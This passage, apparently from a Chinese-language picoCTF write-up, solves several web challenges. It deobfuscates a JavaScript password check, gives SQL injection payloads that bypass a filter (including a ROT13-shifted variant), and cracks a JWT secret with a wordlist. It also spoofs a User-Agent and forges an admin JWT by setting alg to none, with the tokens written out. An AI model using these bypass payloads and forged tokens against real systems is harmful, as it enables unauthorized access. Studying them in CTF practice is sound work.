  var _0x5a46=['f49bf}','_again_e','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}

經過解混淆後得到清楚一點的 js 但還是有點亂 我們再手動更改成如下

var _0x5a46 = ['f49bf}', '_again_e', 'this', "Password Verified", "Incorrect password", 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {
  var _0xb4bdb3 = function (_0x1d68f6) {
    while (--_0x1d68f6) {
      _0x4bd822.push(_0x4bd822.shift());
    }
  };
  _0xb4bdb3(++_0x2bd6f7);
})(_0x5a46, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
  _0x2d8f05 = _0x2d8f05 - 0x0;
  var _0x4d74cb = _0x5a46[_0x2d8f05];
  return _0x4d74cb;
};
function verify() {
  checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
  split = 0x4;
  if (checkpass[_0x4b5b('2')](0, 8) == _0x4b5b('0x3')) {
    if (checkpass[_0x4b5b('2')](7, 9) == '{n') {
      if (checkpass[_0x4b5b('2')](8, 16) == _0x4b5b('0x4')) {
        if (checkpass[_0x4b5b('2')](3, 6) == 'oCT') {
          if (checkpass[_0x4b5b('2')](24, 32) == _0x4b5b('0x5')) {
            if (checkpass.substring(6, 11) == 'F{not') {
              if (checkpass[_0x4b5b('2')](16, 24) == _0x4b5b('0x6')) {
                if (checkpass[_0x4b5b('2')](12, 16) == _0x4b5b('0x7')) {
                  alert(_0x4b5b('0x8'));
                }
              }
            }
          }
        }
      }
    }
  } else {
    alert(_0x4b5b('0x9'));
  }
}

根據順序就可以回推 flag 例如 (checkpass[_0x4b5b('2')](0, 8)
就可以知道這是 flag 的第 0-7 個字元 因為 _0x4b5b 的順序是亂的
直接用 console 就可以得到我們要的片段


(0,8) (8,16) (16,24) (24,32) 拼起來就可以知道 flag


Irish-Name-Repo 2

MEDIUM

跟上一題 Irish-Name-Repo 1 一樣 先把 debug 改成 1
嘗試一樣的 SQLi payloa admin' or 1=1 --#/<any> 卻顯示 SQLi detected. 看來這次有 fliter
嘗試其他的 payload 就可以了
payload : admin'/*/<any>


JaWT Scratchpad

MEDIUM

隨便用一個名字登入後可以從 cookie 得到一個 jwt token 使用 jwt-cracker 搭配 rockyou.txt 爆破出 secret


得到 secret 後 使用 jwt.io 製作 admin 的 token

把 cookie 中的 jwt 的值用新的 jwt token 替換後重新整理頁面就會出現 flag了


picobrowser

MEDIUM

頁面打開有一個按鈕 直接按下去顯示我不是 picobrowser


burp suite 更改 request 的 User-Agentpicobrowser


Irish-Name-Repo 3

MEDIUM

跟前面的 Irish-Name-Repo 1 唯一不一樣的是登入頁面只剩密碼的輸入欄位
一樣先把 debug 改成 1 密碼隨便輸入後得到


嘗試了一下發現 a -> n, b -> o 可以按照這個邏輯構造 SQLi payload

' or 1=1 --#
' be 1=1 --#


Java Script Kiddie [Not Solved]

HARD

Java Script Kiddie 2 [Not Solved]

HARD


picoGym Exclusive

JAuth

MEDIUM

用題目敘述中給的測試帳號 test/Test123! 登入後可以在 cookie 得到一串 JWT token
丟到 jwt decoder 解密後 發現我們可以更改加密的方法 所以把 alg 改成 none
因為要以 admin 登入 所以 role 也改成 admin
最後因為合法的 jwt 要有兩段 所以我們把加密的部分移除後 分隔的符號要留著

原始 token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzQ2MzM0NjQ3NjA5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzQ2MzM0NjQ4fQ.0deL6ApkA3Yh74XM2zKcZZWs3bTKgeN27pKAnkea4YM

更改後的 token

注意最後面務必要有一個 . 才會是合法的 jwt token

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzQ2MzM0NjQ3NjA5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0NjMzNDY0OH0.

/private 頁面的 token 改成我們更改後的再刷新一次頁面